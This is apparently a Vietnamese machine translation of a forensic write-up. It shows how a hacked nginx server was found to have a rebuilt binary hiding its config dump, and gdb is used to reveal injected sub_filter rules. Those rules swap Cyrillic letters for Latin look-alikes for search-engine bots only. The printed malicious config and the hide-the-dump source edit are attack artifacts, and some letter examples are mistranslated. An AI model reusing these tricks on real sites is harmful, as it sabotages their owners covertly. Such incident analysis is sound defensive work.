Khi 'a' không bằng 'a'. Sau một vụ hack

Một câu chuyện khó chịu nhất đã xảy ra với một người bạn của tôi. Nhưng đối với Mikhail thì điều đó có vẻ khó chịu nhưng đối với tôi nó cũng mang lại cảm giác thú vị không kém.

Tôi phải nói rằng bạn tôi khá UNIX-user: có thể tự cài đặt hệ thống mysql, php và thực hiện các cài đặt đơn giản nginx.
Và anh ấy có hàng tá hoặc một rưỡi trang web dành riêng cho các công cụ xây dựng.

Một trong những trang web dành riêng cho cưa máy này nằm vững chắc trong TOP các công cụ tìm kiếm. Trang web này là một người đánh giá phi thương mại, nhưng ai đó đã có thói quen tấn công nó. Cái đó DDoS, sau đó dùng vũ lực, sau đó họ viết những bình luận tục tĩu và gửi những lời lăng mạ đến đơn vị lưu trữ và RKN.
Đột nhiên, mọi thứ dịu xuống và sự bình tĩnh này hóa ra lại không tốt, và trang web bắt đầu dần rời khỏi dòng đầu của kết quả tìm kiếm.

Khi 'a' không bằng 'a'. Sau một vụ hack

Đó là câu nói, rồi là câu chuyện của chính admin.

Gần đến giờ đi ngủ thì điện thoại reo: “San, bạn xem máy chủ của tôi nhé? Đối với tôi, có vẻ như tôi đã bị hack, tôi không thể chứng minh được điều đó, nhưng cảm giác đó vẫn không rời bỏ tôi đến tuần thứ ba. Có lẽ đã đến lúc tôi phải điều trị chứng hoang tưởng?”

Tiếp theo là cuộc thảo luận kéo dài nửa giờ và có thể tóm tắt như sau:

  • đất để hack khá màu mỡ;
  • kẻ tấn công có thể giành được quyền siêu người dùng;
  • cuộc tấn công (nếu nó diễn ra) được nhắm mục tiêu cụ thể vào trang web này;
  • các khu vực có vấn đề đã được khắc phục và bạn chỉ cần hiểu liệu có sự xâm nhập nào hay không;
  • vụ hack không thể ảnh hưởng đến mã trang web và cơ sở dữ liệu.

Về điểm cuối cùng.

Khi 'a' không bằng 'a'. Sau một vụ hack

Chỉ có IP giao diện người dùng màu trắng nhìn ra thế giới. Không có trao đổi giữa phần phụ trợ và giao diện người dùng ngoại trừ http(s), người dùng/mật khẩu khác nhau, không có khóa nào được trao đổi. Trên các địa chỉ màu xám, tất cả các cổng ngoại trừ 80/443 đều bị đóng. IP phụ trợ màu trắng chỉ được biết đến bởi hai người dùng mà Mikhail hoàn toàn tin tưởng.

Được cài đặt trên giao diện người dùng Debian 9 và vào thời điểm cuộc gọi được thực hiện, hệ thống sẽ bị cô lập với thế giới bởi tường lửa bên ngoài và dừng lại.

“Được rồi, cho tôi quyền truy cập,” tôi quyết định tạm hoãn giấc ngủ trong một giờ. “Tôi sẽ tận mắt chứng kiến.”

Ở đây và hơn thế nữa:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Đang tìm kiếm một hack có thể

Tôi khởi động máy chủ, đầu tiên vào chế độ cứu hộ. Tôi lắp các đĩa và lật qua chúng xác thực-nhật ký, lịch sử, nhật ký hệ thống, v.v., nếu có thể, tôi kiểm tra ngày tạo tệp, mặc dù tôi hiểu rằng một cracker bình thường sẽ "cuốn theo" chính mình, và Misha đã "dẫm đạp" rất nhiều trong khi anh ta đang tìm kiếm chính mình .

Tôi bắt đầu ở chế độ bình thường, chưa thực sự hiểu những gì cần tìm, tôi nghiên cứu cấu hình. Trước hết, tôi quan tâm đến nginx vì nói chung, không có gì khác ở mặt trước ngoại trừ nó.
Cấu hình nhỏ, cấu trúc tốt thành chục file, mình chỉ xem qua thôi con mèo'ồ từng cái một. Mọi thứ dường như sạch sẽ, nhưng bạn không bao giờ biết liệu tôi có bỏ sót điều gì không bao gồm, hãy để tôi lập một danh sách đầy đủ:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Tôi không hiểu: “Danh sách ở đâu?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Câu hỏi thứ hai được thêm vào câu hỏi liệt kê: “Tại sao lại là phiên bản nginx cổ xưa như vậy?”

Ngoài ra, hệ thống tin rằng phiên bản mới nhất đã được cài đặt:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Tôi đang gọi:
- Misha, tại sao em lại lắp ráp lại? nginx?
- Đợi đã, tôi thậm chí còn không biết làm điều này!
- Được rồi, đi ngủ thôi...

Nginx rõ ràng nó đã được xây dựng lại và đầu ra của danh sách sử dụng “-T” bị ẩn vì một lý do nào đó. Không còn bất kỳ nghi ngờ nào về việc hack và bạn chỉ cần chấp nhận nó và (vì Misha đã thay thế máy chủ bằng một máy chủ mới) coi như vấn đề đã được giải quyết.

Và thực sự, vì ai đó có được quyền nguồn gốc'ah, vậy thì việc làm đó chỉ có ý nghĩa thôi cài đặt lại hệ thống, và việc tìm xem có chuyện gì ở đó cũng vô ích, nhưng lần này sự tò mò đã đánh bại giấc ngủ. Làm thế nào chúng ta có thể tìm ra những gì họ muốn giấu chúng ta?

Hãy thử theo dõi:

$ strace nginx -T

Chúng ta nhìn vào, rõ ràng là không có đủ dòng trong dấu vết a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Chỉ để cho vui thôi, chúng ta hãy so sánh những phát hiện.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Tôi nghĩ một phần của mã /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

đã được đưa về dạng:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

hoặc

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

do đó danh sách theo "-T" không được hiển thị.

Nhưng làm cách nào chúng ta có thể xem cấu hình của mình?

Nếu suy nghĩ của tôi là đúng và vấn đề chỉ nằm ở biến ngx_dump_config hãy thử cài đặt nó bằng cách sử dụng gdb, may mắn thay có một chiếc chìa khóa --với-cc-opt -g trình bày và hy vọng rằng việc tối ưu hóa -O2 nó sẽ không làm tổn thương chúng tôi. Đồng thời, vì tôi không biết làm thế nào ngx_dump_config có thể được xử lý trong trường hợp 'T':, chúng ta sẽ không gọi khối này mà cài đặt nó bằng cách sử dụng trường hợp 't':

Tại sao bạn có thể sử dụng '-t' cũng như '-T'Xử lý khối nếu(ngx_dump_config) xảy ra bên trong nếu(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Tất nhiên, nếu mã được thay đổi trong phần này chứ không phải trong trường hợp 'T':, thì phương pháp của tôi sẽ không hoạt động.

Kiểm tra nginx.confSau khi giải quyết vấn đề bằng thực nghiệm, người ta xác định rằng cần có cấu hình tối thiểu để phần mềm độc hại hoạt động nginx kiểu:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Chúng tôi sẽ sử dụng nó cho ngắn gọn trong bài viết.

Khởi chạy trình gỡ lỗi

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Từng bước một:

  • đặt điểm ngắt trong hàm chủ yếu()
  • khởi động chương trình
  • thay đổi giá trị của biến xác định đầu ra của cấu hình ngx_dump_config=1
  • tiếp tục/kết thúc chương trình

Như chúng ta có thể thấy, cấu hình thực khác với cấu hình của chúng ta, chúng ta chọn một phần ký sinh từ nó:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Chúng ta hãy xem những gì đang xảy ra ở đây theo thứ tự.

Được xác định User-Agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Các trang dịch vụ bị loại trừ wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Và đối với những người thuộc cả hai điều kiện trên

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

trong văn bản html-trang thay đổi 'Ồ' trên 'o' и 'MỘT' trên 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Đúng vậy, sự tinh tế duy nhất là 'a' != 'a' cũng như 'o' != 'o':

Khi 'a' không bằng 'a'. Sau một vụ hack

Do đó, các bot công cụ tìm kiếm nhận được, thay vì văn bản Cyrillic 100% thông thường, rác đã sửa đổi được pha loãng bằng tiếng Latin 'a' и 'o'. Tôi không dám thảo luận về việc điều này ảnh hưởng đến SEO như thế nào, nhưng không chắc rằng một mớ chữ cái lộn xộn như vậy sẽ có tác động tích cực đến các vị trí trong kết quả tìm kiếm.

Tôi có thể nói gì đây, những người có trí tưởng tượng.

tài liệu tham khảo

Gỡ lỗi với GDB
gdb(1) — Trang man Linux
strace(1) - Trang man Linux
Nginx - Mô-đun ngx_http_sub_module
Về máy cưa, máy cưa và máy cưa điện

Nguồn: www.habr.com

Thêm một lời nhận xét